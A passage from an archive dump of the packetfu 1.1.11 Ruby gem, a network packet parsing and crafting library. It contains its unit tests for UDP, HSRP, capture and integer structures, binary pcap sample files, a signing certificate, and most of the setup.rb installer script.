assert_kind_of(HSRPPacket,p) end def test_parse_hsrp_as_udp assert_equal(:application, HSRPPacket.layer_symbol) pcaps = PcapFile.new.file_to_array(:f => 'sample_hsrp_pcapr.cap') p = Packet.parse(pcaps[0], :parse_app => false) # Really an HSRP Hello packet assert_kind_of(UDPPacket,p) assert(!p.kind_of?(HSRPPacket), "Misidentified HSRP packet when we didn't want it!" ) end end # vim: nowrap sw=2 sts=0 ts=2 ff=unix ft=ruby packetfu-1.1.11/test/test_octets.rb0000644000004100000410000000141412573107241017273 0ustar www-datawww-data#!/usr/bin/env ruby # -*- coding: binary -*- require 'test/unit' $:.unshift File.join(File.expand_path(File.dirname(__FILE__)), "..", "lib") require 'packetfu' class OctetsTest < Test::Unit::TestCase include PacketFu def test_octets_read o = Octets.new o.read("\x04\x03\x02\x01") assert_equal("4.3.2.1", o.to_x) end def test_octets_read_quad o = Octets.new o.read_quad("1.2.3.4") assert_equal("1.2.3.4", o.to_x) assert_equal("\x01\x02\x03\x04", o.to_s) assert_equal(0x01020304, o.to_i) end def test_octets_single_octet o = Octets.new o.read("ABCD") assert_equal(o.o1, 0x41) assert_equal(o.o2, 0x42) assert_equal(o.o3, 0x43) assert_equal(o.o4, 0x44) end end # vim: nowrap sw=2 sts=0 ts=2 ff=unix ft=ruby packetfu-1.1.11/test/test_udp.rb0000644000004100000410000000550112573107241016563 0ustar www-datawww-data#!/usr/bin/env ruby # -*- coding: binary -*- require 'test/unit' $:.unshift File.join(File.expand_path(File.dirname(__FILE__)), "..", "lib") require 'packetfu' class String def bin self.scan(/../).map {|x| x.to_i(16).chr}.join end end class UDPTest < Test::Unit::TestCase include PacketFu def test_udp_header_new u = UDPHeader.new assert_kind_of UDPHeader, u assert_equal(8, u.to_s.size) assert_equal("\x00\x00\x00\x00\x00\x08\x00\x00", u.to_s) end def test_udp_peek u = UDPPacket.new u.ip_saddr = "10.20.30.40" u.ip_daddr = "50.60.70.80" u.udp_src = 53 u.udp_dport = 1305 u.payload = "abcdefghijklmnopqrstuvwxyz" u.recalc puts "\n" puts "UDP Peek format: " puts u.peek assert (u.peek.size <= 80) end def test_udp_pcap u = UDPPacket.new assert_kind_of UDPPacket, u u.recalc u.to_f('udp_test.pcap','a') u.ip_saddr = "10.20.30.40" u.ip_daddr = "50.60.70.80" u.payload = "+some fakey-fake udp packet" u.udp_src = 1205 u.udp_dst = 13013 u.recalc u.to_f('udp_test.pcap','a') end def test_udp_read sample_packet = PcapFile.new.file_to_array(:f => 'sample.pcap')[0] pkt = Packet.parse(sample_packet) assert_kind_of UDPPacket, pkt assert_equal(0x8bf8, pkt.udp_sum.to_i) pkt.to_f('udp_test.pcap','a') end def test_udp_checksum sample_packet = PcapFile.new.file_to_array(:f => 'sample.pcap')[0] pkt = Packet.parse(sample_packet) assert_kind_of UDPPacket, pkt pkt.recalc assert_equal(0x8bf8, pkt.udp_sum.to_i) pkt.to_f('udp_test.pcap','a') end def test_udp_read_strip str = "01005e7ffffa100ba9eb63400800450000a12d7c0000011159b446a5fb7ceffffffacdf3076c008d516e4d2d534541524348202a20485454502f312e310d0a486f73743a3233392e3235352e3235352e3235303a313930300d0a53543a75726e3a736368656d61732d75706e702d6f72673a6465766963653a496e7465726e6574476174657761794465766963653a310d0a4d616e3a22737364703a646973636f766572220d0a4d583a330d0a0d0a".bin str << "0102".bin # Tacking on a couple extra bites tht we'll strip off. not_stripped = UDPPacket.new not_stripped.read(str) assert_equal 135, not_stripped.udp_header.body.length stripped = UDPPacket.new stripped.read(str, :strip => true) assert_equal 133, stripped.udp_header.body.length end def test_udp_alter sample_packet = PcapFile.new.file_to_array(:f => 'sample.pcap')[0] pkt = Packet.parse(sample_packet) assert_kind_of UDPPacket, pkt pkt.payload = pkt.payload.gsub(/metasploit/,"MeatPistol") pkt.recalc assert_equal(0x8341, pkt.udp_sum) pkt.to_f('udp_test.pcap','a') end def test_udp_reread sample_packet = PacketFu::UDPPacket.new pkt = Packet.parse(sample_packet.to_s) assert sample_packet.is_udp? assert pkt.is_udp? end end # vim: nowrap sw=2 sts=0 ts=2 ff=unix ft=ruby packetfu-1.1.11/test/vlan-pcapr.cap0000644000004100000410000000325612573107241017144 0ustar www-datawww-dataòu[H@@{{{u[H@@sW{sW{{[H"@@sW{sW{{[H/$@@sW{{sW{[H#1vvsW{EdD?{{ 颫ͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫ͗[H/3@@{{{[H4@@sW{sW{{[H*vvsW{EdD>{{ wͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫ͘[H?.vvsW{EdD>{{ wͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫ͘[H@0vvsW{EdD={{ wͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫ͘[Hf1vvsW{EdD={{ wͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫ͘[HO3vvsW{EdD<{{ wͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫ͘[Hu4vvsW{EdD<{{ wͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫ͘[H`6vvsW{Ed D;{{ wͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫ͘[H7vvsW{Ed D;{{ wͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫͫpacketfu-1.1.11/test/test_capture.rb0000755000004100000410000000263312573107241017444 0ustar www-datawww-data#!/usr/bin/env ruby require 'test/unit' $:.unshift File.join(File.expand_path(File.dirname(__FILE__)), "..", "lib") require 'packetfu' class CaptureTest < Test::Unit::TestCase def test_cap assert_nothing_raised { PacketFu::Capture } end def test_whoami assert_nothing_raised { PacketFu::Utils.whoami?(:iface => PacketFu::Utils.default_int) } end def test_new cap = PacketFu::Capture.new assert_kind_of PacketFu::Capture, cap cap = PacketFu::Capture.new( :filter => 'tcp and dst host 1.2.3.4' ) end def test_filter daddr = PacketFu::Utils.rand_routable_daddr.to_s cap = PacketFu::Capture.new( :filter => "icmp and dst host #{daddr}") cap.start %x{ping -c 1 #{daddr}} sleep 1 cap.save assert cap.array.size == 1 pkt = PacketFu::Packet.parse(cap.array.first) assert pkt.ip_daddr == daddr end def test_no_filter daddr = PacketFu::Utils.rand_routable_daddr.to_s daddr2 = PacketFu::Utils.rand_routable_daddr.to_s cap = PacketFu::Capture.new cap.start %x{ping -c 1 #{daddr}} %x{ping -c 1 #{daddr2}} sleep 1 cap.save assert cap.array.size > 1 end def test_bpf_alias daddr = PacketFu::Utils.rand_routable_daddr.to_s cap = PacketFu::Capture.new( :filter => "icmp and dst host #{daddr}") assert cap.filter.object_id == cap.bpf.object_id end end # vim: nowrap sw=2 sts=0 ts=2 ff=unix ft=ruby packetfu-1.1.11/test/sample.pcap0000644000004100000410000000162612573107241016541 0ustar www-datawww-dataò2JNN/tQE@"=i5,?www metasploitcom2JN^^Q/tEPX?i5 PacketFu::Utils.default_int) } end def test_to_w assert_equal(Process.euid, 0, "TEST FAIL: This test must be run as root") conf = PacketFu::Utils.whoami?(:iface => PacketFu::Utils.default_int) p = PacketFu::UDPPacket.new(:config => conf) p.udp_dport = 12345 p.udp_sport = 12345 p.payload = "PacketFu test packet" p.recalc assert p.to_w end end # vim: nowrap sw=2 sts=0 ts=2 ff=unix ft=ruby packetfu-1.1.11/test/test_structfu.rb0000644000004100000410000000565112573107241017660 0ustar www-datawww-data#!/usr/bin/env ruby # -*- coding: binary -*- require 'test/unit' $:.unshift File.join(File.expand_path(File.dirname(__FILE__)), "..", "lib") require 'packetfu' # Whee unit testing. class IntStringTest < Test::Unit::TestCase include StructFu def test_intstring_len s = IntString.new("hello!", Int32) assert_equal(s.len, s.int.v) assert_not_equal(s.len, s.length) s.len=10 assert_equal(s.len, s[:int][:value]) end def test_intstring_to_s s = IntString.new("hello!", Int16) assert_equal("\x00\x06hello!",s.to_s) s.len=10 assert_equal("\x00\x0ahello!",s.to_s) s = IntString.new("hello!", Int16, :parse) s.len=10 assert_equal("\x00\x0ahello!\x00\x00\x00\x00",s.to_s) s = IntString.new("hello!", Int16, :fix) s.len=10 assert_equal("\x00\x06hello!",s.to_s) end def test_intstring_new assert_equal("\x06Hello!",IntString.new("Hello!").to_s) assert_equal("\x00\x06Hello!",IntString.new("Hello!",Int16).to_s) assert_equal("\x06\x00\x00\x00Hello!",IntString.new("Hello!",Int32le).to_s) end def test_intstring_read s = IntString.new s.read("\x06Hello!") assert_equal("Hello!", s.string) assert_equal("Hello!", s[:string]) assert_equal(6, s.int.value) assert_equal(6, s.len) end def test_intstring_parse s = IntString.new s[:mode] = :parse s.parse("\x02Hello!") assert_equal("He", s.string) assert_equal(2, s.int.v) s.parse("\x0aHello!") assert_equal("Hello!\x00\x00\x00\x00", s.string) s[:mode] = :fix s.parse("\x0aHello!") assert_equal("Hello!", s.string) end def test_intstring_nocalc s = IntString.new s[:string] = "Hello" assert_equal(0,s.int.value) end end class IntTest < Test::Unit::TestCase include StructFu def test_int_to_s assert_equal("\x02",Int8.new(2).to_s) assert_equal("\x00\x07",Int16.new(7).to_s) assert_equal("\x00\x00\x00\x0a",Int32.new(10).to_s) end def test_int_big assert_equal("\x00\x07",Int16be.new(7).to_s) assert_equal("\x00\x00\x00\x0a",Int32be.new(10).to_s) end def test_int_little assert_equal("\x07\x00",Int16le.new(7).to_s) assert_equal("\x01\x04\x00\x00",Int32le.new(1025).to_s) end def test_read assert_equal(7,Int16.new.read("\x00\x07").to_i) assert_equal(Int32.new.read("\x00\x00\x00\x0a").to_i,10) i = Int32.new i.read("\x00\x00\x00\xff") assert_equal(i.v, 255) assert_equal(7, Int16le.new.read("\x07\x00").to_i) assert_equal(1025,Int32le.new.read("\x01\x04\x00\x00").to_i) i = Int32le.new i.read("\xff\x00\x00\x00") assert_equal(i.v, 255) end def test_int_compare little = Int32le.new big = Int32be.new little.v = 128 big.v = 0x80 assert_not_equal(little.to_s, big.to_s) assert_equal(little.v, big.v) assert_equal(little[:value], big[:value]) assert_equal(little.value, big.value) end end # vim: nowrap sw=2 sts=0 ts=2 ff=unix ft=ruby packetfu-1.1.11/test/func_lldp.rb0000755000004100000410000000141312573107241016703 0ustar www-datawww-data#!/usr/bin/ruby # Functional test script contributed by @dmaciejak # Still need a real test set. $:.unshift File.join(File.expand_path(File.dirname(__FILE__)), "..", "lib") require 'packetfu' def lldp_pcap fname = "./sample_lldp.pcap" fname if File.readable? fname end def lldp_test() raise RuntimeError, "Need a sample_lldp.pcap to check!" unless lldp_pcap cap = PacketFu::PcapFile.new.file_to_array(:filename => lldp_pcap) cap.each do |p| pkt = PacketFu::Packet.parse p if pkt.is_lldp? packet_info = [pkt.proto.last, pkt.lldp_capabilty, pkt.lldp_address_type_readable, pkt.lldp_address, pkt.lldp_interface_type, pkt.lldp_interface] puts "%s | %15s | %15s | %15s | %15s | %15s |" % packet_info end end end lldp_test() packetfu-1.1.11/.gitignore0000644000004100000410000000011112573107241015410 0ustar www-datawww-data*.gem doc/ pkg/ test/*test.pcap Gemfile.lock .ruby-gemset* .ruby-version*packetfu-1.1.11/gem-public_cert.pem0000644000004100000410000000234112573107241017173 0ustar www-datawww-data-----BEGIN CERTIFICATE----- MIIDbDCCAlSgAwIBAgIBATANBgkqhkiG9w0BAQUFADA+MQ0wCwYDVQQDDAR0b2Ri MRgwFgYKCZImiZPyLGQBGRYIcGFja2V0ZnUxEzARBgoJkiaJk/IsZAEZFgNjb20w HhcNMTUwODI1MTQ1MzQ2WhcNMTYwODI0MTQ1MzQ2WjA+MQ0wCwYDVQQDDAR0b2Ri MRgwFgYKCZImiZPyLGQBGRYIcGFja2V0ZnUxEzARBgoJkiaJk/IsZAEZFgNjb20w ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDl/jdqB/u4WnnAV7ds6U7r kffHRJCMc1+s0lvjnWMnZuegjJkuElm0jNQnkUzNqhJGI2NVDc1COoT6VHsEPRi8 uD8po+7pisLwqUHIyx8PFu+pGSRGawEgAPT5DfEf9MwGTob1G9vm1Hv7rTMN+S1X nMIxpFwiMilhLKdoTEZAo0moFbWEVK4ZuEaNkPXGxFKEdnpyb8Fi+/akzwWtwRp1 ByJktlF3YIZgAimvY/PtV0V1n+Mktoz+706EUDe/ZnD8M+o6orzqryCiQrqdzJyk cPv7u1RuG1VPC8mK5TmB9lqlMPi/hxbjC4LfhJsZYoO1AF6baZ8HzqCISInBLwyd AgMBAAGjdTBzMAkGA1UdEwQCMAAwCwYDVR0PBAQDAgSwMB0GA1UdDgQWBBS/B6/d CN84yx061Q/xqilGxY4qqTAcBgNVHREEFTATgRF0b2RiQHBhY2tldGZ1LmNvbTAc BgNVHRIEFTATgRF0b2RiQHBhY2tldGZ1LmNvbTANBgkqhkiG9w0BAQUFAAOCAQEA Oz/R618bt2/QxwL1wM6bP/yb+xNd/DR8aOUeKZwarfWuo6zhVY03qiydlElHU0YJ Rl0/JGQIHNVUzIr3J/QXv225LUECYTejPKC8LcELdfjSfUwzTd75zrGisL0//a4m +Zcv8PSfdOCug3jj5EDMVZe/sX7G4vEqM81SaQaUYFltKGk2YUrlYJsNGW6Yp4As c4y7lD0Rc4OsaoWT5ozhFBJv1qSuoL1y1qySsVazbc0jYjxm6HkVWqOd1cO5zO74 AFvBtuFFTUDdrs3M/q6ktx295osXr2XpaygJmhkMLj81xoIX9G8eEjPc/XQWDlI1 ma/kCj5vaQ3hma/0DsajCg== -----END CERTIFICATE----- packetfu-1.1.11/checksums.yaml.gz.sig0000444000004100000410000000040012573107241017470 0ustar www-datawww-data_dL69+!= 1.4.4? newpath_p = ((major >= 2) or ((major == 1) and ((minor >= 5) or ((minor == 4) and (teeny >= 4))))) if c['rubylibdir'] # V > 1.6.3 libruby = "#{c['prefix']}/lib/ruby" librubyver = c['rubylibdir'] librubyverarch = c['archdir'] siteruby = c['sitedir'] siterubyver = c['sitelibdir'] siterubyverarch = c['sitearchdir'] elsif newpath_p # 1.4.4 <= V <= 1.6.3 libruby = "#{c['prefix']}/lib/ruby" librubyver = "#{c['prefix']}/lib/ruby/#{version}" librubyverarch = "#{c['prefix']}/lib/ruby/#{version}/#{c['arch']}" siteruby = c['sitedir'] siterubyver = "$siteruby/#{version}" siterubyverarch = "$siterubyver/#{c['arch']}" else # V < 1.4.4 libruby = "#{c['prefix']}/lib/ruby" librubyver = "#{c['prefix']}/lib/ruby/#{version}" librubyverarch = "#{c['prefix']}/lib/ruby/#{version}/#{c['arch']}" siteruby = "#{c['prefix']}/lib/ruby/#{version}/site_ruby" siterubyver = siteruby siterubyverarch = "$siterubyver/#{c['arch']}" end parameterize = lambda {|path| path.sub(/\A#{Regexp.quote(c['prefix'])}/, '$prefix') } if arg = c['configure_args'].split.detect {|arg| /--with-make-prog=/ =~ arg } makeprog = arg.sub(/'/, '').split(/=/, 2)[1] else makeprog = 'make' end [ ExecItem.new('installdirs', 'std/site/home', 'std: install under libruby; site: install under site_ruby; home: install under $HOME')\ {|val, table| case val when 'std' table['rbdir'] = '$librubyver' table['sodir'] = '$librubyverarch' when 'site' table['rbdir'] = '$siterubyver' table['sodir'] = '$siterubyverarch' when 'home' setup_rb_error '$HOME was not set' unless ENV['HOME'] table['prefix'] = ENV['HOME'] table['rbdir'] = '$libdir/ruby' table['sodir'] = '$libdir/ruby' end }, PathItem.new('prefix', 'path', c['prefix'], 'path prefix of target environment'), PathItem.new('bindir', 'path', parameterize.call(c['bindir']), 'the directory for commands'), PathItem.new('libdir', 'path', parameterize.call(c['libdir']), 'the directory for libraries'), PathItem.new('datadir', 'path', parameterize.call(c['datadir']), 'the directory for shared data'), PathItem.new('mandir', 'path', parameterize.call(c['mandir']), 'the directory for man pages'), PathItem.new('sysconfdir', 'path', parameterize.call(c['sysconfdir']), 'the directory for system configuration files'), PathItem.new('localstatedir', 'path', parameterize.call(c['localstatedir']), 'the directory for local state data'), PathItem.new('libruby', 'path', libruby, 'the directory for ruby libraries'), PathItem.new('librubyver', 'path', librubyver, 'the directory for standard ruby libraries'), PathItem.new('librubyverarch', 'path', librubyverarch, 'the directory for standard ruby extensions'), PathItem.new('siteruby', 'path', siteruby, 'the directory for version-independent aux ruby libraries'), PathItem.new('siterubyver', 'path', siterubyver, 'the directory for aux ruby libraries'), PathItem.new('siterubyverarch', 'path', siterubyverarch, 'the directory for aux ruby binaries'), PathItem.new('rbdir', 'path', '$siterubyver', 'the directory for ruby scripts'), PathItem.new('sodir', 'path', '$siterubyverarch', 'the directory for ruby extentions'), PathItem.new('rubypath', 'path', rubypath, 'the path to set to #! line'), ProgramItem.new('rubyprog', 'name', rubypath, 'the ruby program using for installation'), ProgramItem.new('makeprog', 'name', makeprog, 'the make program to compile ruby extentions'), SelectItem.new('shebang', 'all/ruby/never', 'ruby', 'shebang line (#!) editing mode'), BoolItem.new('without-ext', 'yes/no', 'no', 'does not compile/install ruby extentions') ] end private :standard_entries def load_multipackage_entries multipackage_entries().each do |ent| add ent end end def multipackage_entries [ PackageSelectionItem.new('with', 'name,name...', '', 'ALL', 'package names that you want to install'), PackageSelectionItem.new('without', 'name,name...', '', 'NONE', 'package names that you do not want to install') ] end private :multipackage_entries ALIASES = { 'std-ruby' => 'librubyver', 'stdruby' => 'librubyver', 'rubylibdir' => 'librubyver', 'archdir' => 'librubyverarch', 'site-ruby-common' => 'siteruby', # For backward compatibility 'site-ruby' => 'siterubyver', # For backward compatibility 'bin-dir' => 'bindir', 'bin-dir' => 'bindir', 'rb-dir' => 'rbdir', 'so-dir' => 'sodir', 'data-dir' => 'datadir', 'ruby-path' => 'rubypath', 'ruby-prog' => 'rubyprog', 'ruby' => 'rubyprog', 'make-prog' => 'makeprog', 'make' => 'makeprog' } def fixup ALIASES.each do |ali, name| @table[ali] = @table[name] end @items.freeze @table.freeze @options_re = /\A--(#{@table.keys.join('|')})(?:=(.*))?\z/ end def parse_opt(opt) m = @options_re.match(opt) or setup_rb_error "config: unknown option #{opt}" m.to_a[1,2] end def dllext @rbconfig['DLEXT'] end def value_config?(name) lookup(name).value? end class Item def initialize(name, template, default, desc) @name = name.freeze @template = template @value = default @default = default @description = desc end attr_reader :name attr_reader :description attr_accessor :default alias help_default default def help_opt "--#{@name}=#{@template}" end def value? true end def value @value end def resolve(table) @value.gsub(%r<\$([^/]+)>) { table[$1] } end def set(val) @value = check(val) end private def check(val) setup_rb_error "config: --#{name} requires argument" unless val val end end class BoolItem < Item def config_type 'bool' end def help_opt "--#{@name}" end private def check(val) return 'yes' unless val case val when /\Ay(es)?\z/i, /\At(rue)?\z/i then 'yes' when /\An(o)?\z/i, /\Af(alse)\z/i then 'no' else setup_rb_error "config: --#{@name} accepts only yes/no for argument" end end end class PathItem < Item def config_type 'path' end private def check(path) setup_rb_error "config: --#{@name} requires argument" unless path path[0,1] == '$' ? path : File.expand_path(path) end end class ProgramItem < Item def config_type 'program' end end class SelectItem < Item def initialize(name, selection, default, desc) super @ok = selection.split('/') end def config_type 'select' end private def check(val) unless @ok.include?(val.strip) setup_rb_error "config: use --#{@name}=#{@template} (#{val})" end val.strip end end class ExecItem < Item def initialize(name, selection, desc, &block) super name, selection, nil, desc @ok = selection.split('/') @action = block end def config_type 'exec' end def value? false end def resolve(table) setup_rb_error "$#{name()} wrongly used as option value" end undef set def evaluate(val, table) v = val.strip.downcase unless @ok.include?(v) setup_rb_error "invalid option --#{@name}=#{val} (use #{@template})" end @action.call v, table end end class PackageSelectionItem < Item def initialize(name, template, default, help_default, desc) super name, template, default, desc @help_default = help_default end attr_reader :help_default def config_type 'package' end private def check(val) unless File.dir?("packages/#{val}") setup_rb_error "config: no such package: #{val}" end val end end class MetaConfigEnvironment def initialize(config, installer) @config = config @installer = installer end def config_names @config.names end def config?(name) @config.key?(name) end def bool_config?(name) @config.lookup(name).config_type == 'bool' end def path_config?(name) @config.lookup(name).config_type == 'path' end def value_config?(name) @config.lookup(name).config_type != 'exec' end def add_config(item) @config.add item end def add_bool_config(name, default, desc) @config.add BoolItem.new(name, 'yes/no', default ? 'yes' : 'no', desc) end def add_path_config(name, default, desc) @config.add PathItem.new(name, 'path', default, desc) end def set_config_default(name, default) @config.lookup(name).default = default end def remove_config(name) @config.remove(name) end # For only multipackage def packages raise '[setup.rb fatal] multi-package metaconfig API packages() called for single-package; contact application package vendor' unless @installer @installer.packages end # For only multipackage def declare_packages(list) raise '[setup.rb fatal] multi-package metaconfig API declare_packages() called for single-package; contact application package vendor' unless @installer @installer.packages = list end end end # class ConfigTable # This module requires: #verbose?, #no_harm? module FileOperations def mkdir_p(dirname, prefix = nil) dirname = prefix + File.expand_path(dirname) if prefix $stderr.puts "mkdir -p #{dirname}" if verbose? return if no_harm? # Does not check '/', it's too abnormal. dirs = File.expand_path(dirname).split(%r<(?=/)>) if /\A[a-z]:\z/i =~ dirs[0] disk = dirs.shift dirs[0] = disk + dirs[0] end dirs.each_index do |idx| path = dirs[0..idx].join('') Dir.mkdir path unless File.dir?(path) end end def rm_f(path) $stderr.puts "rm -f #{path}" if verbose? return if no_harm? force_remove_file path end def rm_rf(path) $stderr.puts "rm -rf #{path}" if verbose? return if no_harm? remove_tree path end def remove_tree(path) if File.symlink?(path) remove_file path elsif File.dir?(path) remove_tree0 path else force_remove_file path end end def remove_tree0(path) Dir.foreach(path) do |ent| next if ent == '.' next if ent == '..' entpath = "#{path}/#{ent}" if File.symlink?(entpath) remove_file entpath elsif File.dir?(entpath) remove_tree0 entpath else force_remove_file entpath end end begin Dir.rmdir path rescue Errno::ENOTEMPTY # directory may not be empty end end def move_file(src, dest) force_remove_file dest begin File.rename src, dest rescue File.open(dest, 'wb') {|f| f.write File.binread(src) } File.chmod File.stat(src).mode, dest File.unlink src end end def force_remove_file(path) begin remove_file path rescue end end def remove_file(path) File.chmod 0777, path File.unlink path end def install(from, dest, mode, prefix = nil) $stderr.puts "install #{from} #{dest}" if verbose? return if no_harm? realdest = prefix ? prefix + File.expand_path(dest) : dest realdest = File.join(realdest, File.basename(from)) if File.dir?(realdest) str = File.binread(from) if diff?(str, realdest) verbose_off { rm_f realdest if File.exist?(realdest) } File.open(realdest, 'wb') {|f| f.write str } File.chmod mode, realdest File.open("#{objdir_root()}/InstalledFiles", 'a') {|f| if prefix f.puts realdest.sub(prefix, '') else f.puts realdest end } end end def diff?(new_content, path) return true unless File.exist?(path) new_content != File.binread(path) end def command(*args) $stderr.puts args.join(' ') if verbose? system(*args) or raise RuntimeError, "system(#{args.map{|a| a.inspect }.join(' ')}) failed" end def ruby(*args) command config('rubyprog'), *args end def make(task = nil) command(*[config('makeprog'), task].compact) end def extdir?(dir) File.exist?("#{dir}/MANIFEST") or File.exist?("#{dir}/extconf.rb") end def files_of(dir) Dir.open(dir) {|d| return d.select {|ent| File.file?("#{dir}/#{ent}") } } end DIR_REJECT = %w( . .. CVS SCCS RCS CVS.adm .svn ) def directories_of(dir) Dir.open(dir) {|d| return d.select {|ent| File.dir?("#{dir}/#{ent}") } - DIR_REJECT } end end # This module requires: #srcdir_root, #objdir_root, #relpath module HookScriptAPI def get_config(key) @config[key] end alias config get_config # obsolete: use metaconfig to change configuration def set_config(key, val) @config[key] = val end # # srcdir/objdir (works only in the package directory) # def curr_srcdir "#{srcdir_root()}/#{relpath()}" end def curr_objdir "#{objdir_root()}/#{relpath()}" end def srcfile(path) "#{curr_srcdir()}/#{path}" end def srcexist?(path) File.exist?(srcfile(path)) end def srcdirectory?(path) File.dir?(srcfile(path)) end def srcfile?(path) File.file?(srcfile(path)) end def srcentries(path = '.') Dir.open("#{curr_srcdir()}/#{path}") {|d| return d.to_a - %w(. ..) } end def srcfiles(path = '.') srcentries(path).select {|fname| File.file?(File.join(curr_srcdir(), path, fname)) } end def srcdirectories(path = '.') srcentries(path).select {|fname| File.dir?(File.join(curr_srcdir(), path, fname)) } end end class ToplevelInstaller Version = '3.4.1' Copyright = 'Copyright (c) 2000-2005 Minero Aoki' TASKS = [ [ 'all', 'do config, setup, then install' ], [ 'config', 'saves your configurations' ], [ 'show', 'shows current configuration' ], [ 'setup', 'compiles ruby extentions and others' ], [ 'install', 'installs files' ], [ 'test', 'run all tests in test/' ], [ 'clean', "does `make clean' for each extention" ], [ 'distclean',"does `make distclean' for each extention" ] ] def ToplevelInstaller.invoke config = ConfigTable.new(load_rbconfig()) config.load_standard_entries config.load_multipackage_entries if multipackage? config.fixup klass = (multipackage?() ? ToplevelInstallerMulti : ToplevelInstaller) klass.new(File.dirname($0), config).invoke end def ToplevelInstaller.multipackage? File.dir?(File.dirname($0) + '/packages') end def ToplevelInstaller.load_rbconfig if arg = ARGV.detect {|arg| /\A--rbconfig=/ =~ arg } ARGV.delete(arg) load File.expand_path(arg.split(/=/, 2)[1]) $".push 'rbconfig.rb' else require 'rbconfig' end ::Config::CONFIG end def initialize(ardir_root, config) @ardir = File.expand_path(ardir_root) @config = config # cache @valid_task_re = nil end def config(key) @config[key] end def inspect "#<#{self.class} #{__id__()}>" end def invoke run_metaconfigs case task = parsearg_global() when nil, 'all' parsearg_config init_installers exec_config exec_setup exec_install else case task when 'config', 'test' ; when 'clean', 'distclean' @config.load_savefile if File.exist?(@config.savefile) else @config.load_savefile end __send__ "parsearg_#{task}" init_installers __send__ "exec_#{task}" end end def run_metaconfigs @config.load_script "#{@ardir}/metaconfig" end def init_installers @installer = Installer.new(@config, @ardir, File.expand_path('.')) end # # Hook Script API bases # def srcdir_root @ardir end def objdir_root '.' end def relpath '.' end # # Option Parsing # def parsearg_global while arg = ARGV.shift case arg when /\A\w+\z/ setup_rb_error "invalid task: #{arg}" unless valid_task?(arg) return arg when '-q', '--quiet' @config.verbose = false when '--verbose' @config.verbose = true when '--help' print_usage $stdout exit 0 when '--version' puts "#{File.basename($0)} version #{Version}" exit 0 when '--copyright' puts Copyright exit 0 else setup_rb_error "unknown global option '#{arg}'" end end nil end def valid_task?(t) valid_task_re() =~ t end def valid_task_re @valid_task_re ||= /\A(?:#{TASKS.map {|task,desc| task }.join('|')})\z/ end def parsearg_no_options unless ARGV.empty? task = caller(0).first.slice(%r<`parsearg_(\w+)'>, 1) setup_rb_error "#{task}: unknown options: #{ARGV.join(' ')}" end end alias parsearg_show parsearg_no_options alias parsearg_setup parsearg_no_options alias parsearg_test parsearg_no_options alias parsearg_clean parsearg_no_options alias parsearg_distclean parsearg_no_options def parsearg_config evalopt = [] set = [] @config.config_opt = [] while i = ARGV.shift if /\A--?\z/ =~ i @config.config_opt = ARGV.dup break end name, value = *@config.parse_opt(i) if @config.value_config?(name) @config[name] = value else evalopt.push [name, value] end set.push name end evalopt.each do |name, value| @config.lookup(name).evaluate value, @config end # Check if configuration is valid set.each do |n| @config[n] if @config.value_config?(n) end end def parsearg_install @config.no_harm = false @config.install_prefix = '' while a = ARGV.shift case a when '--no-harm' @config.no_harm = true when /\A--prefix=/ path = a.split(/=/, 2)[1] path = File.expand_path(path) unless path[0,1] == '/' @config.install_prefix = path else setup_rb_error "install: unknown option #{a}" end end end def print_usage(out) out.puts 'Typical Installation Procedure:' out.puts " $ ruby #{File.basename $0} config" out.puts " $ ruby #{File.basename $0} setup" out.puts " # ruby #{File.basename $0} install (may require root privilege)" out.puts out.puts 'Detailed Usage:' out.puts " ruby #{File.basename $0} " out.puts " ruby #{File.basename $0} [] []" fmt = " %-24s %s\n" out.puts out.puts 'Global options:' out.printf fmt, '-q,--quiet', 'suppress message outputs' out.printf fmt, ' --verbose', 'output messages verbosely' out.printf fmt, ' --help', 'print this message' out.printf fmt, ' --version', 'print version and quit' out.printf fmt, ' --copyright', 'print copyright and quit' out.puts out.puts 'Tasks:' TASKS.each do |name, desc| out.printf fmt, name, desc end fmt = " %-24s %s [%s]\n" out.puts out.puts 'Options for CONFIG or ALL:' @config.each do |item| out.printf fmt, item.help_opt, item.description, item.help_default end out.printf fmt, '--rbconfig=path', 'rbconfig.rb to load',"running ruby's" out.puts out.puts 'Options for INSTALL:' out.printf fmt, '--no-harm', 'only display what to do if given', 'off' out.printf fmt, '--prefix=path', 'install path prefix', '' out.puts end # # Task Handlers # def exec_config @installer.exec_config @config.save # must be final end def exec_setup @installer.exec_setup end def exec_install @installer.exec_install end def exec_test @installer.exec_test end def exec_show @config.each do |i| printf "%-20s %s\n", i.name, i.value if i.value? end end def exec_clean @installer.exec_clean end def exec_distclean @installer.exec_distclean end end # class ToplevelInstaller class ToplevelInstallerMulti < ToplevelInstaller include FileOperations def initialize(ardir_root, config) super @packages = directories_of("#{@ardir}/packages") raise 'no package exists' if @packages.empty? @root_installer = Installer.new(@config, @ardir, File.expand_path('.')) end def run_metaconfigs @config.load_script "#{@ardir}/metaconfig", self @packages.each do |name| @config.load_script "#{@ardir}/packages/#{name}/metaconfig" end end attr_reader :packages def packages=(list) raise 'package list is empty' if list.empty? list.each do |name| raise "directory packages/#{name} does not exist"\ unless File.dir?("#{@ardir}/packages/#{name}") end @packages = list end def init_installers @installers = {} @packages.each do |pack| @installers[pack] = Installer.new(@config, "#{@ardir}/packages/#{pack}", "packages/#{pack}") end with = extract_selection(config('with')) without = extract_selection(config('without')) @selected = @installers.keys.select {|name| (with.empty? or with.include?(name)) \ and not without.include?(name) } end def extract_selection(list) a = list.split(/,/) a.each do |name| setup_rb_error "no such package: #{name}" unless 